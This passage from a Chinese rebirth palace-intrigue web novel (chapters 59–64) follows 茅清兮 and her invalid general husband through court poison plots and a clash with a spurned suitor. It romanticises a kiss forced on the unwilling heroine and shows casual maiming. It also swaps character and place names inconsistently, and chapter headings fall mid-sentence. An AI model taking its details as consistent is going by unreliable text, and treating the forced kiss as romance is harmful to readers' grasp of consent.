冀容白唇角微勾,露出一个温和的笑容,那双深邃的桃花眼,在烛光下显得格外迷人。 茅清兮的视线在他身上停留片刻,又移回了书上。 “时辰不早了。” 她的语气淡淡的,听不出什么情绪。 但冀容白知道,她这是在关心自己。 他嘴角的笑意更深,没有说话,只是静静地看着她。 这盏灯,是为他留的。 冀容白心里很清楚。 他这一生,从未有人为他留过灯。 母亲的世界里,只有冰冷的佛堂和无尽的诵经声;父亲的眼中,只有那个被寄予厚望的二弟。 他早已习惯了被忽视,习惯了将所有的情绪都隐藏在心底。 可如今,这小小的灯火,却像是一束阳光,照进了他内心深处最阴暗的角落。 眼前这个女子,一身红衣似火,明艳动人,是他的妻子。 当年在京城,他每次见到茅清兮,她都是一副端庄娴静的模样,如同一朵静静绽放的白莲。 冀容白以为,她会按照家族的安排,嫁给一个家世相当、才貌双全的男子,过上相夫教子的安稳生活。 他从未想过要打破这份平静。 因为他知道,自己给不了她想要的安稳。 他双手沾满鲜血,注定一生都要在刀光剑影中度过。 可世事难料,一道突如其来的圣旨,将她推到了他的面前。 当冀容白从昏迷中醒来,看到心心念念的人儿,就坐在他的床边时…… 喜悦如潮水般涌来,将他淹没。 那是一种无法用言语形容的狂喜,让他几乎忘记了身上的伤痛。 他甚至开始频繁地从昏迷中强撑着醒来,只是为了能够多看她一眼,全然不顾沈大夫“静养”的叮嘱。 他怕自己一旦睡去,这美好的一切,就会像梦境一样消失。 “夜深了,歇息吧。” 茅清兮终于放下了手中的医书,抬眸看向冀容白。 她注意到,他的脸色依旧苍白,显然是强撑着回来的。 这人,当真是不把自己的身体当回事。 “娘子说的是,为夫先去洗漱。” 冀容白没有反驳,顺从地应了一声,推动轮椅转向净室。 茅清兮看着他的背影,眉头微微蹙起。 这话……听起来总觉得有些不对劲,但又说不上来哪里不对。 她摇了摇头,没有多想。 冀容白平日里说话就没个正形,或许只是自己多心了。 当茅清兮将书页翻到最后一页时,净室的门也“吱呀”一声打开了。 冀容白沐浴后,身上带着淡淡的皂角香气,头发湿漉漉的,随意地披散在肩头。 茅清兮已经躺在了床的内侧,背对着他。 冀容白也不恼,熟练地撑着床沿,借力上了床。 即使行动不便,他也不愿让旁人搀扶,这是他最后的骄傲。 茅清兮感觉到床榻微微一沉,知道是他上来了。 她没有动,只是轻轻地吹灭了床头的烛火。 房间里顿时陷入一片黑暗。 “娘子……” 冀容白的声音在黑暗中响起,低沉而沙哑,带着一丝蛊惑人心的味道。 “你我成婚至今,也该圆房了。” 茅清兮的身子猛地一僵。 她缓缓转过身,借着窗外透进来的微弱月光,看向冀容白。 “你确定?” 她语气冰冷,带着一丝嘲讽, “以你现在的身体状况,行房事和找死有什么区别?” “放心吧宝贝,” 冀容白轻笑一声,声音低沉而魅惑, “这种事,自然由为夫主导。” “你……” 茅清兮气结。 她万万没想到,冀容白竟然会说出这样的话来。 这人……简直是疯了! 她毫不犹豫地抬手,想要将他推开。 她本不想动用内力,怕伤了他。 可就在她的手即将触碰到冀容白的瞬间,一股莫名的力量,却将她的手腕牢牢扣住。 动弹不得! 茅清兮心中一惊。 紧接着,微凉的触感,落在了她的唇上,带着一丝淡淡的药香。 这触感转瞬即逝。 取而代之的,是灼热的温度,几乎要将她燃烧。 茅清兮的心跳,仿佛漏跳了一拍。 她来不及细想,猛地发力,想要挣脱冀容白的桎梏。 第六十章 “砰——” 一声闷响,在寂静的夜里格外清晰。 茅清兮顾不上其他,猛地坐起身,大口喘息着。 心跳如鼓,脑子里乱成一团。 刚才的一切,都发生得太快,太突然,让她措手不及。 “主子,出什么事了?” 门外,传来墨川和富峻焦急的声音。 他们显然听到了屋内的动静,第一时间赶了过来。 茅清兮深吸一口气,强迫自己冷静下来。 她平复了一下呼吸,才发现,冀容白已经被她推倒在地。 她连忙点燃了烛火。 昏黄的烛光下,冀容白正坐在地上,脸上带着一丝玩味的笑容。 他伸出一根手指,轻轻抚摸着自己的唇,那双桃花眼,在烛光下显得格外魅惑。 “主子?您没事吧?” 墨川和富峻在门外焦急地询问。 “吱呀——” 门被猛地拉开。 茅清兮站在门口,脸色阴沉得可怕。 “把他带走,” 她声音冰冷,不带一丝温度, “以后,别让他出现在我面前。” 墨川和富峻吓了一跳,连忙冲进屋内。 只见冀容白坐在地上,身旁还掉落着一个枕头。 “主子……” 两人手忙脚乱地将冀容白扶回轮椅上。 可接下来,该怎么办? 他们面面相觑,谁也不知道该如何是好。 “怎么?” 茅清兮冷冷地看着他们, “你们还想留下来看戏不成?” 墨川一个激灵,连忙推着冀容白往外走。 “夫人息怒,” 冀容白坐在轮椅上,回头看着茅清兮,笑得一脸无辜, “为夫只是……情难自禁。” 说完,他又伸出手指,轻轻在唇上点了一下。 茅清兮气得浑身发抖,猛地关上了门。 “砰”的一声巨响,震得整个院子都颤了颤。 院子里,只剩下冀容白、墨川和富峻三人。 “主子,您……这是被夫人赶出来了吗?” 富峻挠了挠头,一脸茫然。 “闭嘴。” 冀容白冷冷地扫了他一眼。 墨川在一旁,吓得大气都不敢出。 “可是,主子,” 富峻犹自不知死活, “那您今晚睡哪儿啊?总不能……真睡柴房吧?” 冀容白眯起眼睛,冷冷地盯着富峻。 “墨川,你说呢?” 墨川一个激灵,连忙道: “主子,属下这就去安排,保证不让任何人知道您被赶出来了……” “富峻,” 冀容白打断了他, “今晚加罚二十军棍,自己去领。” 富峻顿时垮下了脸,不敢再多言。晨曦微露,天边泛起鱼肚白。茅清兮却已没了睡意,翻身坐起。 她有些烦躁地揉了揉眉心。 闭上眼,冀容白那张苍白又透着妖异的脸,就晃在眼前。 尤其是那双唇…… 茅清兮忍不住抬手,轻轻触了触自己的唇瓣,唇齿间仿佛还留着那抹炽热,让她一阵心悸。 “该死!”她低声咒骂了一句,猛地掀开被子,跳下床榻。 不行,得找点事做! 茅清兮随手抓起外袍披上,拎起佩剑,大步流星地出了门。 郊外的庄子,空气格外清新。 深吸一口气,似乎连胸腔里的浊气都消散了不少。 茅清兮活动了一下筋骨,在院中空地上缓缓打起一套剑法。 剑锋划破空气,发出轻微的“嗖嗖”声。 一套剑法下来,茅清兮额头微微见汗,心中郁结也舒缓了许多。 她收剑回鞘,目光落在庄子后山的方向。 那里地势开阔,最适合纵马驰骋。 被困在京城那四方天地里太久,茅清兮的心早就飞到了广阔的天地间。 她转身往回走,打算找管家问问庄子里有没有马。 刚转过回廊,就听见管家恭敬的声音:“夫人起了?可是要用早膳?” 茅清兮摇了摇头,直接问道:“庄子里可有马?” “有,元帅的战马常年栖息此处。”管家连忙回答。 “哦?”茅清兮眼睛一亮,声音都高了几分,“可是御风神驹?” 御风神驹,那可是苏枭将军冀容白的战马! 关于这匹马的传说,茅清兮听过不少。 传闻当年,冀容白在云陲遭人暗算,身受重伤,是御风神驹驮着他,硬生生在敌人的围追堵截中杀出一条血路。 一人一马,在绝境中互相扶持,最终逃出生天。 更有人说,御风神驹通人性,能听懂人言,甚至能预知危险。 “正是。”管家答道,语气中带着一丝自豪,“不过这匹马,自从将军两年前中毒后,便一直养在这里了。” 茅清兮听了心头一动,问道:“如今在哪?” “在庄子西边的马棚。” 管家见茅清兮一脸兴致,又有些担忧地补充: “只是夫人,这御风神驹性子烈得很,除了将军,旁人是万万靠近不得的。稍有不慎,恐怕会被踢伤。” 茅清兮挑眉,不以为意:“无妨,你只管带路便是。” 管家见状,也不好再劝,只得小心翼翼地在前面领路。 两人来到庄子西边的马棚。 还未走近,就听见一阵“咴咴”的嘶鸣声,震得人耳膜发颤。 若是胆小的,怕是听了这声音就要腿软。 茅清兮却觉得这声音格外悦耳。 她加快脚步,绕过几棵老槐树,一眼就看到了那匹传说中的神驹—— 通体雪白,纯净得毫无瑕疵,在晨曦的照耀下,仿佛披了一层银色的光晕,耀眼夺目。 “好一匹神驹!”茅清兮忍不住赞叹。 她放轻脚步,缓缓靠近。 御风神驹似乎察觉到了她的到来,前蹄不安地刨着地面,鼻子里发出粗重的喘息,像是在警告。 “夫人当心,这马烈得很,会伤人!”管家紧张地提醒,生怕茅清兮有个闪失。 茅清兮却像没听见似的,眼中只有那匹神骏非凡的马。 她伸出手,想要抚摸它。 “夫人不可!”管家吓得脸色都白了,连忙出声阻止。 然而,他的话音未落,茅清兮已经纵身一跃,稳稳地落在了马背上。 “嘶——” 管家倒吸一口凉气,一颗心提到了嗓子眼。 御风神驹可不是闹着玩的,这么多年来,除了冀容白,还没人能成功骑上它! 他仿佛已经看到茅清兮被掀翻在地,甚至被踢伤的画面。 可下一秒,他却愣住了。 茅清兮稳稳地坐在马背上,一手抓着缰绳,一手轻轻抚摸着御风神驹的鬃毛。 而那匹暴躁的烈马,竟也出奇地安静,只是轻轻摇了摇尾巴。 “驾!” 茅清兮清喝一声,双腿一夹马腹。 御风神驹长嘶一声,如离弦之箭般冲了出去。 风声在耳边呼啸,茅清兮只觉得畅快淋漓。 她紧紧抓住缰绳,感受着身下骏马的奔腾,心中的郁气一扫而空。 一人一马,如同闪电般在山间穿梭。 管家呆呆地站在原地,看着一人一马远去的背影,好半天才回过神,拔腿就往回跑。 第六十一章 这事儿,得赶紧告诉将军! 他边跑边想,夫人看着媛媛弱弱的,怎么就能降服御风神驹呢?真是奇了怪了。 墨川听闻此事,同样大惊失色。 “主子!这可如何是好?御风神驹向来只认您一人,夫人她……” 冀容白却依旧是那副云淡风轻的样子,甚至还笑了笑。 “无妨。”他缓缓开口,“你们还是不太了解她。” 他顿了顿,又补充了一句:“墨影是认得她的。” 墨川和管家听得云里雾里,完全不明白冀容白的意思。 但见他如此笃定,也只得将信将疑地退下。 另一边,茅清兮驾着御风神驹,一路向后山深处奔驰。 让她意外的是,这匹传说中桀骜不驯的神驹,竟意外的温顺。 它仿佛能听懂她的话,随着她的指令,时而加速,时而减速。 一人一马,配合默契,跨越沟壑如履平地。 茅清兮的心情越来越好,甚至忍不住放声高歌。 不知跑了多久,她忽然发现,自己竟来到了一处熟悉的地方。 青松观! 茅清兮的眼神瞬间冷了下来。 前世种种,如潮水般涌上心头。 她紧紧勒住缰绳,御风神驹嘶鸣一声,停了下来。 茅清兮抬头望去,只见青松观外,停着一辆华丽的马车,周围还守着一队侍卫。 那是太子的仪仗! 钱云霄果然在此! 茅清兮心中冷笑。 前世,她被父亲茅文昭以“静心”为由,送到了这青松观。 名为静心,实为软禁。 而钱云霄,便是这里的常客。 那时,她还以为钱云霄是为她而来,心中甚至对他生出了一丝感激。 可后来她才明白,钱云霄不过是看中了青松观里那位“能通天”的白苏道长。 他想请白苏道长出山,替圣君调配永生仙丹。 有了这层关系,钱云霄在朝中的势力,自然是水涨船高。 甚至,在与宁王的博弈之间,他也因此占得了先机。 茅清兮深吸一口气,将前世的记忆压下。 这一世,她绝不会再让钱云霄如愿! 她翻身下马,将御风神驹交给一旁的道童,自己则大步向观内走去。 “来者何人?” 守门的侍卫立刻拦住了她。 茅清兮冷冷地扫了他们一眼:“怎么,这青松观何时成了太子的私产,旁人不得入内了?” 那侍卫被她一噎,正要发作,却被身后一人喝止。 “放肆!这位是苏将军的夫人,不得无礼!” 一个温润的声音传来,茅清兮抬头一看,只见一个身着青衫的男子正朝她走来。 此人正是钱云霄的谋士,孔谋。 茅清兮对这个人,没有一丝好感。 前世,孔谋可没少替钱云霄出坏主意,残害忠良。 孔谋却仿佛没看到她眼中的厌恶,依旧笑眯眯地朝她拱了拱手: “不知冀夫人大驾光临,有失远迎,还望恕罪。” 茅清兮冷哼一声,没有理会他,径直走进了青松观。 观内的一切,都和前世一样。 只是少了那些虚伪的寒暄和算计,让茅清兮觉得格外清净。 她随意地在观中走着,心中却在盘算着如何破坏钱云霄的计划。 没走多远,她就看到了钱云霄。 他正站在一棵古树下,似乎在和白苏道长说着什么。 “冀夫人,真是巧啊,没想到会在这里遇到你。”钱云霄转过身,脸上带着温和的笑容。 茅清兮心中冷笑,面上却不动声色:“太子殿下。” 她朝钱云霄行了一礼,心中却在想,他此刻出现在这里,究竟是巧合,还是…… 钱云霄的目光在她身上打量了一番,眼中闪过一丝惊艳。 茅清兮今日穿着一身火红的骑装,英姿飒爽,与平日里那些大家闺秀截然不同。 这种张扬的美,让钱云霄眼前一亮。 他忽然有些后悔,当初怎么就没发现茅清兮这块璞玉呢? 若是早些将她纳入府中,或许…… “听闻太傅曾向我夸赞过他的女儿,说其有倾国之姿,今日一见,果然名不虚传。”钱云霄笑着说道,语气中带着几分试探。“父亲常在我面前提起暮暮妹妹,说她才情过人,是京城里数一数二的佳人。” 钱云霄顿了顿,目光落在茅清兮的身上,笑容似乎真诚了些: “不过依孤之见,夫人,似乎更胜暮暮几分。” 茅清兮听了这话,心里冷笑。 上辈子钱云霄就爱说好听的哄人,夸她武功好。 这辈子又夸她好看,还真是换汤不换药。 当她还是那个不谙世事的小丫头,这么好骗? “太子殿下过誉了。”茅清兮语气淡淡的,不带一丝波澜。 她顿了顿,像是突然想起什么似的,语气一转: “说起来,妾身斗胆求殿下一事,不知当讲不当讲。” 钱云霄一听,立刻摆出一副洗耳恭听的模样: “清兮不必多礼,你我之间,何须如此客套?但说无妨。” 他特意省去了那些虚头巴脑的称谓,直呼她的名字,语气也亲近了不少。 “这……”茅清兮故作迟疑地咬了咬唇,眼神闪烁了几下,似乎有些难以启齿。 “怎么,可是有什么难处?”钱云霄见状,立刻追问道。 茅清兮抬起头,看了他一眼,又迅速低下头去,一副欲言又止的样子。 “唉,实不相瞒,”她轻叹一声,缓缓开口,“家妹暮暮,与临川伯府的林大公子,两人情投意合,早已私定终身。只是父亲一直不同意这门亲事,他们二人……至今未能修成正果。” “哦?竟有此事?”钱云霄故作惊讶地挑了挑眉。 茅清兮微微颔首,眼角余光瞥见钱云霄眼中一闪而过的不耐,心中冷笑更甚。 她继续说道:“臣妇斗胆,想请太子殿下……出面成全。” 钱云霄听了这话,心里顿时有些不悦。 他原本以为茅清兮有什么重要的事情要求他,没想到竟然是这种小事。 他现在最需要的是兵权、是支持,这种儿女情长的小事,他根本没心思理会。 更何况,茅暮暮那个女人,他压根就没看上。 不过…… 钱云霄转念一想,这或许也是个机会。 若是能借此机会,让茅清兮欠他一个人情,倒也不失为一件好事。 “你……可有为自己打算过?”他试探着问道,“孤说过,你的事,孤都会尽力。” 茅清兮摇了摇头:“多谢太子殿下好意,只是臣妇并无所求。只要能成全了家妹,臣妇……便心满意足了。” 钱云霄盯着茅清兮看了一会儿,见她神色不似作伪,这才点了点头: “既然如此,孤便答应你。此事包在孤身上,孤会亲自向父皇请旨,为他们二人赐婚。到那时,便是太傅,也无话可说。 第六十二章 ” 茅清兮等的就是他这句话。 她嘴角微微上扬,露出一丝不易察觉的笑意。 茅暮暮,这份“大礼”,你可要好好收下! 钱云霄自以为卖了茅清兮一个人情,心情也好了不少。 他正想再说些什么,拉近一下两人的关系,忽然想起自己还有正事要办。 “对了,”他话锋一转,说道,“前些日子,孤与孔首辅一同去了趟青云书院,见到了你的弟弟茅飞羽。那孩子聪慧过人,是个可塑之才。孤已经跟孔首辅打过招呼,让他收飞羽为徒。如此一来,飞羽的前程,便不必担忧了。” 茅清兮听到这个消息,脸色瞬间沉了下来。 她强压下心头的怒火,冷冷地说道:“多谢太子殿下‘费心’。” 孔首辅是太子的人,这是人尽皆知的事情。 茅飞羽拜入孔首辅门下,就等于被打上了太子的标签,日后想要脱身,可就难了。 她原本打算,等茅飞羽回来,定要让他与太子一党划清界限。 可如今看来,一切都晚了。 茅清兮心里清楚,以钱云霄的性子,绝不会轻易放过茅飞羽这颗棋子。 她必须尽快想办法,把茅飞羽从这个泥潭里拉出来。 “清兮不必如此客气,你我之间,何须见外?”钱云霄笑着说道,语气中带着几分得意。 他以为自己这一手,既拉拢了茅清兮,又控制了茅飞羽,可谓是一箭双雕。 殊不知,茅清兮心中早已对他恨之入骨。 “殿下所言极是。”茅清兮淡淡地应了一句,心里却在盘算着如何应对。 钱云霄今日来青松观,是为了请白苏道长。 茅清兮知道,自己不能轻举妄动。 她只能等。 等钱云霄带着白苏道长离开。 等到夜深人静的时候…… 夜幕降临,青松观内一片寂静。 茅清兮悄无声息地潜入白苏道长的丹房。 她对炼丹一无所知,但她知道,钱云霄让白苏道长炼制的丹药,绝对不是什么好东西。 白苏道长的炼丹炉里,还残留着一些没有燃尽的药渣。 茅清兮小心翼翼地取了一些,用手帕包好,准备带回去让司玄苏看看。 就在这时,她忽然听到门外传来一阵脚步声。 茅清兮心中一惊,连忙躲到一旁的暗处。 她屏住呼吸,透过门缝,看到两个人影走了进来。 其中一人,正是白苏道长。 而另一人……竟然是太子身边的贴身侍卫! “道长,这丹药……真的没问题吗?”那侍卫压低声音问道。 白苏道长捋了捋胡须,得意地笑了笑: “放心吧,这可是贫道精心炼制的‘九转金老’,保证药到病除,延年益寿。” “可是……”那侍卫似乎还有些犹豫,“万一出了什么岔子……” “不会有万一的。”白苏道长打断了他的话,“这丹药的配方,可是太子殿下亲自提供的,绝对万无一失。” 茅清兮听到这里,心中顿时了然。 果然,这丹药有问题! 而且,这背后的一切,都是钱云霄在捣鬼! 她暗自握紧了拳头,恨不得立刻冲出去,揭穿他们的阴谋。 但她知道,自己不能冲动。 她必须想一个万全之策,才能将钱云霄一举扳倒。 茅清兮悄悄离开了青松观,连夜赶回了庄子。 她将从丹房里带回来的药渣,交给了司玄苏。 “玄苏,你看看,这药渣里都有什么成分?” 司玄苏接过药渣,仔细地闻了闻,又用银针试了试,脸色顿时变得凝重起来。 “清兮,这丹药里……含有剧毒!” 茅清兮心中一沉,果然不出她所料。 “这毒,可有解?”她问道。 司玄苏摇了摇头:“此毒十分罕见,我……也无能为力。” 茅清兮深吸一口气,努力让自己冷静下来。 她知道,现在不是慌乱的时候。 她必须尽快想办法,阻止钱云霄的阴谋。 “玄苏,你能不能配制出一种药,可以暂时掩盖这丹药的毒性?” 司玄苏想了想,说道:“这……倒不是不可能,只是……” “只是什么?” “只是这种药,只能暂时掩盖,并不能彻底解毒。而且,若是长期服用,反而会加速毒性的发作。” 茅清兮听了这话,心中有了主意。 “无妨,只要能暂时掩盖就好。”她说道,“你尽快配制出来,我有用处。” 司玄苏点了点头,不再多问。 他知道,茅清兮一定有她的计划。 茅清兮拿到药后,立刻给安王府送去了一封密信。 她将钱云霄的阴谋,以及白苏道长炼制的毒丹,都一一告知了宁王。 她相信,宁王一定不会坐视不理。 果然,没过多久,宁王就派人来传话,让她进宫一趟。 茅清兮知道,决战的时刻,终于到了。 …… 几日后,茅清兮和冀容白回到了京城。 马车缓缓驶入福宁街,朝着秦府的方向而去。 “吁——” 车夫突然猛地一拉缰绳,马车骤然停了下来。 茅清兮身子一晃,差点撞到车厢上。 “怎么回事?”冀容白连忙扶住她,关切地问道。 “娘子,有人拦车!”车夫的声音从外面传来。 茅清兮心中一动,掀开车帘,向外看去。 只见一个熟悉的身影,正站在马车前,气势汹汹地瞪着她。 “茅清兮,你给我下来!”“茅清兮,你给我滚出来!” 一声炸雷也似的吼叫,惊得拉车的马儿都险些失了前蹄。 茅清兮眼皮都没抬一下,只淡淡吩咐: “墨川,让他闭嘴。” 墨川闪身出现在车前,看死人一样看着那个犹自叫嚣的男子: “再敢喧哗,割了你的舌头喂狗!” 刁明远?他竟拦苏枭将军的马车? 茅清兮心中疑惑更甚,纤长的手指在膝上轻轻敲,发出极有节奏的“嗒嗒”声。 这声音像是某种无声的催促,催促着事件的发展。 车帘被掀开一角,刁明远那张因愤怒而扭曲的脸,毫无保留地暴露在空气中。 “茅清兮,你躲在里面算什么本事?”他咬牙切齿,每一个字都像是从牙缝里挤出来,“有胆子做,没胆子认吗?” “哦?”茅清兮这才缓缓抬眸,唇角勾起一抹似笑非笑的弧度,“林公子此言差矣,我做了什么,需要认?” 她身子微微前倾,看似随意地倚靠在车厢壁上,实则每一寸肌肉都蓄势待发。 “你……”刁明远被她这副云淡风轻的模样气得不轻,却又一时不知该如何反驳。 总不能当街说,她为了不嫁给自己,竟使出那等下作手段吧? 他深吸一口气,强压下心头的怒火,换上一副“痛心疾首”的表情: “清兮,我知道你心里有怨气,可你也不能… 第六十三章 …” “停。”茅清兮抬手打断他,眼神逐渐变得冰冷,“林公子,请自重。‘清兮’二字,不是你能叫的。” “你!”刁明远气得浑身发抖,“你别以为……” “够了!”茅清兮忽然厉声喝道,周身气势陡然一变,“刁明远,你是不是觉得,我茅清兮当真不敢动你?” 她缓缓起身,裙摆随着动作无风自动。 一股无形的压力,以她为中心,向四周蔓延开来。 刁明远脸色一白,下意识地后退了一步。 “你……你想做什么?”他色厉内荏地问道,声音中带着一丝不易察觉的颤抖。 “做什么?”茅清兮冷笑一声,缓缓走下马车。 “我只是想让你明白一个道理。” 她停在刁明远面前,居高临下地看着他,眼神中满是轻蔑。 “有些东西,不是你能肖想的。” “你……” “咔嚓——” 马车内,一声脆响打断了刁明远的辩驳。 上好的紫檀木小几,在冀容白手中,碎成数块。 他抬起头,眼底一片冰寒。 敢拦他的车,还敢对他夫人出言不逊? 这刁明远,是嫌命太长了吗? “墨川。” 冀容白的声音,低沉而富有磁性,却带着令人不寒而栗的杀意。 “把他的嘴,给我缝上。” 墨川应声上前,手中长剑出鞘半寸,寒光凛冽。 “慢着。” 茅清兮却在这时开口阻止。 她并非心慈手软,只是不想在这光天化日之下,与这等小人纠缠不清。 更何况,对付刁明远这种人,有的是更巧妙的法子,能让他生不如死。 她回眸,对着马车内的冀容白微微一笑。 那笑容,如春风拂柳,温暖和煦,瞬间驱散了冀容白眼底的阴霾。 他微微颔首,示意她自行处理。 茅清兮转过身,看向刁明远,脸上的笑容瞬间消失无踪。 “刁明远,”她缓缓开口,声音冰冷,“你方才说,我心肠歹毒?” 刁明远被她这突如其来的转变吓了一跳,支支吾吾道: “难道……不是吗?你为了……” “为了什么?”茅清兮步步紧逼,“为了不嫁给你,所以设计让你娶茅暮暮?” 她嗤笑一声,眼神中满是不屑。 “你未免太高看自己了。” “我茅清兮,还不至于为了你这种货色,费尽心思。” 她忽然扬声,声音清脆,足以让在场的每一个人都听得清清楚楚。 “各位,今日就请大家做个见证!” “我茅清兮,若当真对这刁明远有半分情意,便叫我……” 她顿了顿,眼神中闪过一丝狡黠。 “……天打雷劈,不得好死!” 此言一出,人群中顿时一片哗然。 这誓言,可够毒的! 刁明远更是脸色煞白,如遭雷击。 “清兮,你……你何必如此?”他颤声说道,声音中带着一丝绝望。 “何必?”茅清兮冷笑,“我只是实话实说罢了。” 她忽然转身,对着马车深深一拜。 “夫君,妾身今日所言,句句属实,绝无半点虚假。” “若有半句谎言,便叫妾身……” 她再次顿了顿,眼神中闪过一丝决绝。 “……孤独终老,永世不得所爱!” 马车内,冀容白的心,猛地一颤。 他看着茅清兮,眼底闪过一丝复杂的情绪。 这女人…… 他缓缓起身,走下马车,来到茅清兮身边。 “夫人,”他轻声说道,声音中带着一丝不易察觉的温柔,“为夫相信你。” 他握住茅清兮的手,轻轻一拉,将她揽入怀中。 “有为夫在,你永世都不会孤独终老。” 这突如其来的亲昵举动,让茅清兮微微一愣。 她抬头,看向冀容白,却见他眼中一片真诚。 这人…… 是在演戏,还是…… 她心中,忽然涌起一股异样的情绪。 “多谢夫君。”她低声说道,声音中带着一丝连她自己都未曾察觉的柔软。 人群中,爆发出阵阵议论声。 “这苏枭将军,当真是宠妻如命啊!” “可不是,为了夫人,竟连这等毒誓都敢发。” “那刁明远,还真是自不量力,竟敢肖想苏枭将军的夫人。” “……” 刁明远站在一旁,脸色一阵青一阵白,身体微微颤抖。 他感觉自己像个跳梁小丑,被所有人嘲笑、鄙视。 “刁明远,”茅清兮忽然开口,声音冰冷,“我再说最后一遍。” “别拿我和茅暮暮比,你不配。” “至于你和茅暮暮的婚事……” 她顿了顿,唇角勾起一抹玩味的笑意。 “太子殿下已经答应,会向圣上请旨赐婚。” “你就等着,迎娶你的‘心上人’吧。” “我这个做姐姐的,一定会好好‘祝福’你们……” 她故意拉长了语调,眼神中闪过一丝狡黠。 “……百年好合,早生贵子。” 刁明远猛地抬头,眼中满是震惊与难以置信。 赐婚? 他……真的能娶到茅暮暮了? 巨大的狂喜,如潮水般涌上心头。 可在这狂喜之中,却又夹杂着一丝…… 难以言喻的空虚。 他下意识地看向茅清兮,却见她早已转身,依偎在冀容白怀中。 那画面,是如此的刺眼。 “墨川,送客。” 冀容白淡淡开口,声音中带着不容置疑的威严。 “是。” 墨川应声上前,手中长剑再次出鞘。 “林公子,请吧。” 他冷冷地说道,眼神中满是警告。 刁明远浑身一颤,再不敢多言,转身仓皇逃离。 “啊——” 一声惨叫,戛然而止。 却是墨川出手,直接废了他一条腿。 马车,缓缓启动,碾碎了一地的喧嚣与闹剧。 茅清兮靠在冀容白怀中,思绪纷乱。 她知道,今日这一出,不过是权宜之计。 她与冀容白之间,终究隔着一道无法逾越的鸿沟。 但至少,暂时解决了刁明远这个麻烦。 回到府中,茅清兮来不及喘口气,便匆匆赶往醉月楼。 有些事,必须尽快弄清楚。 刚一进门,司玄苏便迎了上来。 “主子,宁王那边有动静了。” “哦?”茅清兮挑眉,“说来听听。” “宁王收到消息后,连夜派人潜入太子府,试图暗杀白苏道长。” “结果呢?” “白苏道长虽未丧命,却也身受重伤,短期内无法再为太子炼丹。”司玄苏顿了顿,又补充道,“太子已加强了对白苏道长的保护,我们的人暂时找不到下手的机会。” “无妨。”茅清兮摆了摆手,“只要能阻止钱云霄的阴谋,便已足够。” 她沉吟片刻,又道: “继续派人盯着安王府和太子府,一有风吹草动,立刻禀报。” “是。”司玄苏应道,又说起另一件事,“主子,关于青虹剑,属下查到了一些线索。 第六十四章 ” “说。” “这把刀,二十年前曾是江湖侠女俞霜的兵器,后来俞霜在刺杀一名贪官后便不知所踪。属下查阅了大量卷宗,发现俞霜此人,嫉恶如仇,武功高强,在江湖上颇有名望。” 江湖侠女? 茅清兮眉头微蹙。 这倒是与她之前猜测的,茅暮暮身边那女子的身份,颇为吻合。 可茅暮暮,一个深闺女子,如何能与江湖侠女扯上关系? “茅暮暮和骆芸入侯府之前的经历呢?可有查到什么?” “主子,让人跑了趟福宁街头那间诊所,但医馆早已易主,先前的人一个也找不到了。至于骆芸的老家安州,我们的人也仔细查过,所有的证据都指向一个结果:他们母女,在茅文昭去寻他们之前,从未离开过安州。” “不可能。” 茅清兮断然否定。 前世,茅暮暮可亲口承认过,她们母女早已来到京城。 究竟是谁,有如此通天的本事,能将她们的过往抹得一干二净? 茅清兮与茅暮暮数次交锋,并未察觉出她有何过人之处。 茅暮暮,绝无这等心机与手段。 而太子钱云霄,虽对茅暮暮表现出几分兴趣,却也并非全然为其倾倒。 那么,这背后之人,究竟是谁? “此事,定要查个水落石出。” 茅清兮沉声吩咐。 “俞霜既然为茅暮暮所用,便从她身边的人查起,或许能有所突破。” “是。” 司玄苏领命而去。 茅清兮独自坐在房中,陷入沉思。 她知道,自己正一步步接近真相。 但同时,也一步步走向未知的危险。 她必须尽快弄清楚一切,才能保护自己,保护冀容白。 因为,花朝节,就要到了。 那是前世,冀容白殒命的日子。花朝节,御家别院。 马车辚辚,随御驾缓缓驶入。 这别院依山傍水,繁花似锦,当真是人间仙境。 各府女眷随行,车马喧嚣,热闹非凡。 茅清兮坐在洛国公府的马车里,撩起车帘一角,看着窗外飞掠而过的景色。 她心不在焉。 不多时,马车停稳。冀容白已在车外等候。 茅清兮扶着他的手,款款下了马车。两人并肩而行。 别院内早已布置妥当,处处张灯结彩,花团锦簇。 安顿下来之后,茅清兮忽然拉住冀容白。 “把手给我。” 她语气轻柔,却不容置疑。 冀容白微怔,随即顺从地伸出手。 茅清兮纤细的手指搭上他腕间,凝神诊脉。 半晌,她秀眉紧蹙,脸色也凝重了几分。 冀容白看着她,将她的手反握在掌心,低声道: “为夫无碍,娘子不必忧心。” 声音低沉而温柔,带着安抚人心的力量。 茅清兮抬眸,瞪了他一眼。 那眼神,似嗔似怨,又带着几分无奈。 她想说,上辈子你可就在这时候没的。 可这话,却如鲠在喉,怎么也说不出口。 重生的秘密,像一道沉重的枷锁,压得她喘不过气。 这些时日,她日日为冀容白诊脉,不敢有丝毫懈怠。 脉象虽无明显起色,但好在,也未曾继续恶化。 至少,不会像前世那般,在这花朝节上,突然毒发。 茅清兮深吸一口气,抬眼望去,满园春色,人声鼎沸。 她凑近冀容白,压低声音问: “这里头,想取你性命的……怕是不少吧?” 冀容白闻言,低低笑了起来: “何止不少,简直多如牛毛。” 这话,倒也并非夸大。 他掌管五万鹰羽卫,位高权重。 偏偏又不肯依附任何一位皇子。 那些皇子,明里不敢对他如何,暗地里,只怕恨不得将他千刀万剐。 想到此处,茅清兮不由得握紧了冀容白的手。 宴席设在花园中,放眼望去,繁花似锦,美不胜收。 一个个席位,错落有致地摆放在花丛边。 茅清兮推着冀容白,缓缓走向他们的席位。 走近了才发现,这位置,竟是紧挨着圣驾。 而对面,坐的正是太子钱云霄。 钱云霄远远地朝她望来,脸上挂着温文尔雅的笑容。 茅清兮微微垂眸,避开他的视线,只淡淡点了点头,算是回礼。 她微微侧身,不动声色地挡住了钱云霄的目光。 左手边,是贤王的席位。 这位贤王,平日里深居简出,不问朝政。 只喜欢些琴棋书画,风花雪月之事。 冀容白与他,似乎私交甚笃。 贤王主动与冀容白寒暄,冀容白也破天荒地颔首回应。 贤王目光一转,落在茅清兮身上,笑道: “容白,你这夫人,可是娶对了,瞧你这气色,红润了不少。” 冀容白握着茅清兮的手,微微收紧: “内子是我的福星。” 声音虽淡,却透着一股不容置疑的意味。 贤王一愣,显然没料到,一向冷若冰霜的冀容白,竟也会说出这样的话来。 他眼中闪过一丝玩味,又细细打量了茅清兮几眼。 茅清兮只作未见,神色坦然。 此时,圣上与皇后,已登上高台。 底下众人,齐刷刷跪倒一片,山呼万岁。 “愿陛下福寿安康永昌,愿娘娘福泽绵长。” 声音震天动地,响彻云霄。 